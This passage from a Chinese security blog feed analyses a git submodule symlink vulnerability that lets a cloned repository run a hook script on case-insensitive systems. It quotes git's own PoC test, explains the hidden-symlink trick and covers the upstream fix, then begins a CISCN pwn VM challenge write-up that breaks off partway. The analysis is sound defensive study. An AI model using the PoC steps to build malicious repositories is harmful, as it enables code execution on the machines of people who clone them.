--separate-git-dir &lt;target_repo&gt;/.git/modules/submodule --no-single-branch -- &lt;submodule_path&gt; &lt;target_repo&gt;/&lt;name&gt;</span><br></pre></td></tr></table></figure><ol start="2"><li>完成clone之后，最终会根据指定的branch，将内容进行checkout，最终释放对应的文件内容</li></ol><h4 id="hooks">hooks</h4><p>之前的展示中特意跳过了<code>hooks</code>这个目录，因为这个目录中有很多脚本的样例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">+── hooks</span><br><span class="line">   ├── applypatch-msg.sample</span><br><span class="line">   ├── commit-msg.sample</span><br><span class="line">   ├── fsmonitor-watchman.sample</span><br><span class="line">   ├── post-update.sample</span><br><span class="line">   ├── pre-applypatch.sample</span><br><span class="line">   ├── pre-commit.sample</span><br><span class="line">   ├── pre-merge-commit.sample</span><br><span class="line">   ├── pre-push.sample</span><br><span class="line">   ├── pre-rebase.sample</span><br><span class="line">   ├── pre-receive.sample</span><br><span class="line">   ├── prepare-commit-msg.sample</span><br><span class="line">   ├── push-to-checkout.sample</span><br><span class="line">   └── update.sample</span><br></pre></td></tr></table></figure><p>这些脚本会在<strong>git的某个操作阶段执行</strong>。例如<code>pre-push</code>这个名字的脚本会在git执行push指令前执行，<code>commit-msg</code>则是在commit阶段会执行。我们之后的攻击中会涉及一个叫做<code>post-checkout</code>的脚本，这个脚本会在<code>checkout</code>操作后执行。</p><h3 id="漏洞成因">漏洞成因</h3><p>漏洞本质上是由于git在进行clone的时候，在<strong>repo整体拷贝过程中</strong>，由于Windows或者MacOS操作系统<strong>大小写不敏感的特点</strong>，主repo中用于存放<strong>子模块的目录</strong>被<strong>另一个指向.git目录的同名符号链接覆盖</strong>，导致往子模块写入数据的时候，<strong>全部都写入了.git目录中</strong>，最后配合hook脚本完成隐蔽的攻击。</p><p>漏洞复现的时候，需要进行如下的配置才能生效</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># Set Git configuration options</span><br><span class="line">git config --global protocol.file.allow always</span><br><span class="line">git config --global core.symlinks true</span><br><span class="line"># optional, but I added it to avoid the warning message</span><br><span class="line">git config --global init.defaultBranch main </span><br></pre></td></tr></table></figure><p>并且，如果想尝试在Windows下复现，git需要获得管理员权限才能进行符号链接的创建。<br>在官方的仓库中，给出了针对这个漏洞的poc用作测试用例，我们可以从检测脚本中一窥究竟。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">test_expect_success CASE_INSENSITIVE_FS,SYMLINKS \</span><br><span class="line"><span class="string">&#x27;submodule paths must not follow symlinks&#x27;</span> <span class="string">&#x27;</span></span><br><span class="line"><span class="string"># This is only needed because we want to run this in a self-contained</span></span><br><span class="line"><span class="string"># test without having to spin up an HTTP server; However, it would not</span></span><br><span class="line"><span class="string"># be needed in a real-world scenario where the submodule is simply</span></span><br><span class="line"><span class="string"># hosted on a public site.</span></span><br><span class="line"><span class="string">test_config_global protocol.file.allow always &amp;&amp;</span></span><br><span class="line"><span class="string"># Make sure that Git tries to use symlinks on Windows</span></span><br><span class="line"><span class="string">test_config_global core.symlinks true &amp;&amp;</span></span><br><span class="line"><span class="string">tell_tale_path=&quot;$PWD/tell.tale&quot; &amp;&amp;</span></span><br><span class="line"><span class="string">git init hook &amp;&amp;</span></span><br><span class="line"><span class="string">(</span></span><br><span class="line"><span class="string">cd hook &amp;&amp;</span></span><br><span class="line"><span class="string">mkdir -p y/hooks &amp;&amp;</span></span><br><span class="line"><span class="string">write_script y/hooks/post-checkout &lt;&lt;-EOF &amp;&amp;</span></span><br><span class="line"><span class="string">echo HOOK-RUN &gt;&amp;2</span></span><br><span class="line"><span class="string">echo hook-run &gt;&quot;$tell_tale_path&quot;</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">git add y/hooks/post-checkout &amp;&amp;</span></span><br><span class="line"><span class="string">test_tick &amp;&amp;</span></span><br><span class="line"><span class="string">git commit -m post-checkout</span></span><br><span class="line"><span class="string">) &amp;&amp;</span></span><br><span class="line"><span class="string">hook_repo_path=&quot;$(pwd)/hook&quot; &amp;&amp;</span></span><br><span class="line"><span class="string">git init captain &amp;&amp;</span></span><br><span class="line"><span class="string">(</span></span><br><span class="line"><span class="string">cd captain &amp;&amp;</span></span><br><span class="line"><span class="string">git submodule add --name x/y &quot;$hook_repo_path&quot; A/modules/x &amp;&amp;</span></span><br><span class="line"><span class="string">test_tick &amp;&amp;</span></span><br><span class="line"><span class="string">git commit -m add-submodule &amp;&amp;</span></span><br><span class="line"><span class="string">printf .git &gt;dotgit.txt &amp;&amp;</span></span><br><span class="line"><span class="string">git hash-object -w --stdin &lt;dotgit.txt &gt;dot-git.hash &amp;&amp;</span></span><br><span class="line"><span class="string">printf &quot;120000 %s 0\ta\n&quot; &quot;$(cat dot-git.hash)&quot; &gt;index.info &amp;&amp;</span></span><br><span class="line"><span class="string">git update-index --index-info &lt;index.info &amp;&amp;</span></span><br><span class="line"><span class="string">test_tick &amp;&amp;</span></span><br><span class="line"><span class="string">git commit -m add-symlink</span></span><br><span class="line"><span class="string">) &amp;&amp;</span></span><br><span class="line"><span class="string">test_path_is_missing &quot;$tell_tale_path&quot; &amp;&amp;</span></span><br><span class="line"><span class="string">test_must_fail git clone --recursive captain hooked 2&gt;err &amp;&amp;</span></span><br><span class="line"><span class="string">grep &quot;directory not empty&quot; err &amp;&amp;</span></span><br><span class="line"><span class="string">test_path_is_missing &quot;$tell_tale_path&quot;</span></span><br><span class="line"><span class="string">&#x27;</span></span><br></pre></td></tr></table></figure><p>脚本的前半段添加一个叫做<code>hook</code>的仓库，这个仓库添加完以后目录结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">└── y</span><br><span class="line">    └── hooks</span><br><span class="line">        └── post-checkout</span><br></pre></td></tr></table></figure><p>这里会注意到一个很有趣的现象，这个路径<strong>有意的在模仿.git</strong>的目录结构，尤其是<code>hooks/post-checkout</code>，当然，由于这个脚本本身并未放在本仓库的<code>.git</code>目录中，当这个仓库被clone的时候<strong>脚本并不会被触发</strong>。</p><p>后半段的部分比较精妙，我们来仔细讲解一下。首先创建了一个叫做<code>captain</code>的仓库，然后调用了这个指令</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git submodule add --name x/y &quot;$hook_repo_path&quot; A/modules/x </span><br></pre></td></tr></table></figure><p>我们根据之前的做法，确认三个参数对应的值</p><ul><li><code>&lt;name&gt;</code>:<code>x/y</code></li><li><code>&lt;submodule_repo&gt;</code>:&quot;$hook_repo_path&quot;</li><li><code>&lt;submodule_path&gt;</code>:<code>A/modules/x</code></li></ul><p>当调用这个指令之后，git会做如下的事情</p><ul><li>在<code>captain</code>目录中创建一个叫做<code>A/modules/x</code>的子目录，这个目录将会存放来自<code>&quot;$hook_repo_path&quot;</code>(也就是前面添加的hook仓库)中的所有内容</li><li>上述步骤中，拷贝到<code>captain</code>仓库的<code>hook</code>仓库中的<code>.git</code>文件被替换成符号链接，指向<code> ../../../.git/modules/x/y</code>，也就是<code>&lt;target_repo&gt;/.git/modules/&lt;name&gt;</code>的路径，这里会存放真正的<code>hook</code>的<code>.git</code>目录</li><li>在<code>captain</code>的<code>.git</code>目录中的<code>modules</code>目录下，创建<code>x/y</code>目录，并且往其中拷贝所有的<code>hooks/.git</code>的内容</li><li>创建<code>.gitmodule</code>目录</li></ul><p>此时，<code>captain</code>中比较重要的文件结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── .git</span><br><span class="line">│   ├── HEAD</span><br><span class="line">│   ├── config</span><br><span class="line">│   ├── description</span><br><span class="line">│   ├── index</span><br><span class="line">│   ├── info</span><br><span class="line">│   │   └── exclude</span><br><span class="line">│   ├── modules</span><br><span class="line">│   │   └── x           // 这里添加了路径x/y</span><br><span class="line">│   │       └── y</span><br><span class="line">│   │           └── HEAD</span><br><span class="line"></span><br><span class="line">├── .gitmodules</span><br><span class="line">└── A                  // 这里添加了A/modules/x</span><br><span class="line">    └── modules</span><br><span class="line">        └── x</span><br><span class="line">            ├── .git</span><br><span class="line">            └── y     // 目录里面自带y目录</span><br><span class="line">                └── hooks</span><br><span class="line">                    └── post-checkout</span><br></pre></td></tr></table></figure><p>让我们把几个关键目录罗列以下</p><ol><li>实际存放了<code>hook</code>仓库中<code>.git</code>的路径</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/modules/x/y</span><br></pre></td></tr></table></figure><ol start="2"><li>存放了被拷贝过来的<code>hook</code>仓库内容的路径</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A/modules/x</span><br></pre></td></tr></table></figure><ol start="3"><li>从<code>captain</code>的视角上看，子模块<code>hook</code>仓库中存放<code>post-checkout</code>的路径</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A/modules/x/y/hooks/post-checkout</span><br></pre></td></tr></table></figure><ol start="4"><li>从<code>captain</code>的视角上看，子模块<code>hook</code>仓库<code>.git</code>中hooks的路径为</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/modules/x/y/hooks/</span><br></pre></td></tr></table></figure><p>仔细看会发现，3和4的路径几乎只相差了<code>A</code>和<code>.git</code>部分，这就是这个漏洞攻击的一个前提。<br>在完成了布置之后，脚本会执行如下的逻辑</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">printf .git &gt;dotgit.txt &amp;&amp;</span><br><span class="line">git hash-object -w --stdin &lt;dotgit.txt &gt;dot-git.hash &amp;&amp;</span><br><span class="line">printf &quot;120000 %s 0\ta\n&quot; &quot;$(cat dot-git.hash)&quot; &gt;index.info &amp;&amp;</span><br></pre></td></tr></table></figure><p>这里利用了git的比较底层的指令，通过这个操作，能够将<code>a</code>作为一个符号链接文件添加到 Git 索引中，符号链接指向 .git。这个操作会存放在git的索引中，<strong>而不会直接在目录中存在</strong>。实际上，这样操作完之后，目录结构如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── A</span><br><span class="line">│   └── modules</span><br><span class="line">│       └── x</span><br><span class="line">│           └── y</span><br><span class="line">│               └── hooks</span><br><span class="line">│                   └── post-checkout</span><br><span class="line">├── dot-git.hash</span><br><span class="line">├── dotgit.txt</span><br><span class="line">└── index.info</span><br></pre></td></tr></table></figure><p>可以发现，这个<code>a</code>并不存在，但是在git的<strong>对象管理</strong>中，这个a作为一个对象存放了下来</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">git cat-file -p 76d2a0138b</span><br><span class="line">tree ed6455916722fcf6cb5e03bf2602379f6237695f</span><br><span class="line">parent 2e5996a4ad5795e526a53a68bfa24ad11674ccbf</span><br><span class="line">author 1716626132 +0800</span><br><span class="line">committer  1716626132 +0800</span><br><span class="line"></span><br><span class="line">add-symlink</span><br><span class="line"></span><br><span class="line">git cat-file -p ed64559167</span><br><span class="line">100644 blob ccf40c309e227b3ea61e3d3138af32774d5f994a    .gitmodules</span><br><span class="line">040000 tree 41eaba36bec8946d145682993e3efc13877161fa    A</span><br><span class="line">120000 blob 191381ee74dec49c89f99a62d055cb1058ba0de9    a</span><br></pre></td></tr></table></figure><p>这就是这个攻击的<strong>隐蔽之处</strong>：整个攻击过程中，符号链接文件始终藏在<code>.git</code>的对象索引中，所以粗略一看是无法找到有问题的部分的。但是，当我们在对<code>captain</code>仓库进行clone的时候，这个符号链接<code>a</code>就会被释放出来。</p><p>最后执行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone --recursive captain hooked </span><br></pre></td></tr></table></figure><p>就能实现最终的攻击。</p><p>此时，我们可以模拟以下整个攻击流程：</p><p>当我们在进行clone的时候，程序首先尝试将<code>captain</code>目录拷贝下来，执行<code>ed64559167</code>的操作，此时根据顺序，首先会创建这样的目录（tree）</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── A</span><br><span class="line">│   </span><br><span class="line">│   </span><br><span class="line">│           </span><br><span class="line">│           </span><br><span class="line">│           </span><br><span class="line">├── dot-git.hash</span><br><span class="line">├── dotgit.txt</span><br><span class="line">└── index.info</span><br></pre></td></tr></table></figure><p>然后，git会紧接着创建符号链接<code>a</code>（Blob），此时由于<strong>大小写不敏感</strong>的特点，此时目录会变成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── a -&gt; .git</span><br><span class="line">│   </span><br><span class="line">│   </span><br><span class="line">│   </span><br><span class="line">│   </span><br><span class="line">│   </span><br><span class="line">├── dot-git.hash</span><br><span class="line">├── dotgit.txt</span><br><span class="line">└── index.info</span><br></pre></td></tr></table></figure><p>接下来，会尝试对<code>41eaba3</code>中的对象进行释放，整个对象指向的为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">040000 tree a555b64513d2e0a23bca63e990b793927daafa43    modules</span><br></pre></td></tr></table></figure><p>于是就会顺着我们之前<code>A</code>目录指向的内容一点点进行释放，此时的释放路径变为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A/modules/x/y/hooks/post-checkout</span><br></pre></td></tr></table></figure><p>而由于<code>A</code>此时被<code>a</code>顶替，<code>a</code>指向了<code>.git</code>，所以此时释放的路径改变为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/modules/x/y/hooks/post-checkout</span><br></pre></td></tr></table></figure><p>于是，此时在我们的<code>captain</code>仓库中的<code>.git/modules/x/y/hooks/post-checkout</code>就成为了原本存放在<strong>hook目录中的一个脚本</strong>。而当完成了clone之后，最终<code>captain</code>目录中的<code>git</code>会尝试将<code>hook</code>的内容进行<code>checkout</code>操作，此操作最终就会诱发对应的<code>post-checkout</code>，导致脚本被执行！</p><h3 id="修复策略">修复策略</h3><p>从git的<a href="https://github.com/git/git/commit/97065761333fd62db1912d81b489db938d8c991d">官方修复</a>，中，可以看到引入了一个叫做<code>dir_contains_only_dotgit</code>的函数</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> <span class="type">int</span> <span class="title">dir_contains_only_dotgit</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *path)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DIR *dir = <span class="built_in">opendir</span>(path);</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">dirent</span> *e;</span><br><span class="line"><span class="type">int</span> ret = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!dir)</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">e = <span class="built_in">readdir_skip_dot_and_dotdot</span>(dir);</span><br><span class="line"><span class="keyword">if</span> (!e)</span><br><span class="line">ret = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>(DEFAULT_GIT_DIR_ENVIRONMENT, e-&gt;d_name) ||  <span class="comment">// 如果找到了非.git目录</span></span><br><span class="line"> (e = <span class="built_in">readdir_skip_dot_and_dotdot</span>(dir))) &#123; <span class="comment">// 或者同时还存在另一个文件</span></span><br><span class="line"><span class="built_in">error</span>(<span class="string">&quot;unexpected item &#x27;%s&#x27; in &#x27;%s&#x27;&quot;</span>, e-&gt;d_name, path);</span><br><span class="line">ret = <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">closedir</span>(dir);</span><br><span class="line"><span class="keyword">return</span> ret;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">dirent</span> *<span class="built_in">readdir_skip_dot_and_dotdot</span>(DIR *dirp)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">dirent</span> *e;</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> ((e = <span class="built_in">readdir</span>(dirp)) != <span class="literal">NULL</span>) &#123; <span class="comment">// 查找所有的目录</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="built_in">is_dot_or_dotdot</span>(e-&gt;d_name)) <span class="comment">// 如果目录不是.或者..开头，则返回当前的e对象</span></span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> e;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个函数的作用为<strong>保证当前目录中仅包含.git目录</strong>这一个文件。之后程序还引入了如下的的修复</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">static</span> <span class="type">int</span> <span class="title">clone_submodule</span><span class="params">(<span class="type">const</span> <span class="keyword">struct</span> module_clone_data *clone_data,</span></span></span><br><span class="line"><span class="params"><span class="function">   <span class="keyword">struct</span> string_list *reference)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line">+<span class="keyword">if</span> (!<span class="built_in">file_exists</span>(sm_gitdir)) &#123;</span><br><span class="line">+<span class="keyword">if</span> (clone_data-&gt;require_init &amp;&amp; !<span class="built_in">stat</span>(clone_data_path, &amp;st) &amp;&amp;</span><br><span class="line">+    !<span class="built_in">is_empty_dir</span>(clone_data_path))</span><br><span class="line">+<span class="built_in">die</span>(_(<span class="string">&quot;directory not empty: &#x27;%s&#x27;&quot;</span>), clone_data_path);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="comment">/// ......</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">+<span class="keyword">if</span> (clone_data-&gt;require_init &amp;&amp; !<span class="built_in">stat</span>(clone_data_path, &amp;st) &amp;&amp;</span><br><span class="line">+    !<span class="built_in">dir_contains_only_dotgit</span>(clone_data_path)) &#123;</span><br><span class="line">+<span class="type">char</span> *dot_git = <span class="built_in">xstrfmt</span>(<span class="string">&quot;%s/.git&quot;</span>, clone_data_path);</span><br><span class="line">+<span class="built_in">unlink</span>(dot_git);</span><br><span class="line">+<span class="built_in">free</span>(dot_git);</span><br><span class="line">+<span class="built_in">die</span>(_(<span class="string">&quot;directory not empty: &#x27;%s&#x27;&quot;</span>), clone_data_path);</span><br><span class="line">+&#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此处的<code>clone_data_path</code>实际上为<code>&lt;target_repo&gt;/&lt;name&gt;</code><br>可以看到，在<code>clone_submodule</code>阶段，程序会保证本地路径满足以下条件才会进行clone操作</p><ul><li>当进行clone操作前，目的地址为空</li><li>完成预备环境准备后(safe_create_leading_directories_const)和<code>submodule</code>的<code>clone</code>（但是不立即检出<code>check-out</code>工作目录中的文件）(run_command(&amp;cp))后，程序检查目标目录中是否仅包含<code>.git</code>文件</li></ul><p>此时这里的submodule的clone操作实际上执行的</p><blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone --no-checkout --progress --separate-git-dir &lt;target_repo&gt;/.git/modules/submodule --no-single-branch -- &lt;submodule_path&gt; &lt;target_repo&gt;/&lt;name&gt;</span><br></pre></td></tr></table></figure><p>这个指令会将submodule的内容拷贝到根目录，但是不进行检出，也就是说此时 .git 中已经存放了 submodule 的 .git，但是还未发生检出(check-out)动作</p></blockquote><p>实际上，指令执行的时候，会将<code>.git</code>中的内容放置在<code>.git/modules/x/y</code>这个路径下。</p><p>而根据我们之前的漏洞分析，<code>clone_data_path</code>，也就是<code>&lt;target_repo&gt;/&lt;name&gt;</code>，<code>target_repo/A/modules/x/</code>。如果未漏洞的影响下，此时的路径实际上是</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/A/modules/x</span><br></pre></td></tr></table></figure><p>那么此时<strong>就应该仅仅只有目标文件的.git文件</strong>。但是如果在漏洞印象下，此时的路径变为了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">.git/A/modules/x</span><br></pre></td></tr></table></figure><p>而显然根据我们前文分析，在这个路径下会有一个叫做<code>y</code>的目录存在，因此能够被检测出来。即便我们在起名阶段进行了绕过，实际上这个攻击的过程中<strong>一定会往对应的路劲写入文件，因此仓库一定会影响到指定的目录</strong>。所以当前的修复其实是非常合理的。</p><h2 id="总结">总结</h2><p>整个分析下来，感觉这类漏洞最重要的点其实是<strong>时机</strong>，比如说：</p><ul><li>git clone 的时候，究竟是先拷贝了.git文件，还是先拷贝了目录中的其他文件？</li><li>git clone 的时候，是先拷贝的符号链接，还是原始文件？它的依据是什么？</li><li>post-checkout 是在<code>captain</code>进行<code>checkout</code>的时候执行，还是在<code>hook</code>进行<code>checkout</code>的时候进行的执行？</li></ul><p>正是不同时机的巧妙结合，导致了这个漏洞的出现。这类符号链接类的漏洞需要抓住关键，找到最合适的诱发条件，才能最终触发。</p><h2 id="参考链接">参考链接</h2><p><a href="https://www.zhaohuabing.com/post/2019-01-21-git/">https://www.zhaohuabing.com/post/2019-01-21-git/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;前阵子出现的一个神奇的洞，有同事问起，就进一步研究了一下，发现还挺有意思的，这里遂作记录。&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="GIT" scheme="https://showlinkroom.me/tags/GIT/"/>
    
  </entry>
  
  <entry>
    <title>CISCN_2024_Pwn_VM</title>
    <link href="https://showlinkroom.me/2024/05/21/CISCN-2024-Pwn-VM/"/>
    <id>https://showlinkroom.me/2024/05/21/CISCN-2024-Pwn-VM/</id>
    <published>2024-05-20T22:47:57.000Z</published>
    <updated>2024-06-08T04:18:36.843Z</updated>
    
    <content type="html"><![CDATA[<p>时隔7年，又打了一次CISCN（？）这一次做了一个很有意思的VM题，这里简单记录一下</p><blockquote><p>本文首发于奇安信攻防社区 <a href="https://forum.butian.net/share/3048">https://forum.butian.net/share/3048</a></p></blockquote><span id="more"></span><h2 id="magic-vm">Magic VM</h2><h2 id="题目逻辑">题目逻辑</h2><p>题目本身其实非常的有趣，它实现了一个简易流水线的功能，程序中包含四个结构体，其中三个分别对应流水线中的三个流程：</p><ul><li>ID</li><li>ALU</li><li>MEM</li></ul><p>程序用一个叫做<code>vm</code>的结构体来统筹这三个对象，并且使用<code>vm_id vm_alu vm_mem</code>来控制整体的逻辑处理过程。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">__attribute__</span>((<span class="built_in">aligned</span>(<span class="number">8</span>))) vm</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *reg0[<span class="number">4</span>];</span><br><span class="line">  __int64 now_stack_ptr;</span><br><span class="line">  <span class="type">unsigned</span> __int64 pc;</span><br><span class="line">  <span class="type">char</span> *code_base;</span><br><span class="line">  __int64 data_base;</span><br><span class="line">  __int64 stack_base;</span><br><span class="line">  __int64 code_size;</span><br><span class="line">  __int64 data_size;</span><br><span class="line">  __int64 stack_size_;</span><br><span class="line">  vm_id *id;</span><br><span class="line">  vm_alu *alu;</span><br><span class="line">  vm_mem *mem;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 6 */</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">__attribute__</span>((<span class="built_in">aligned</span>(<span class="number">8</span>))) vm_alu</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *is_valid;</span><br><span class="line">  __int64 each_opcode_OPTYPE;</span><br><span class="line">  __int64 ops_total_type;</span><br><span class="line">  __int64 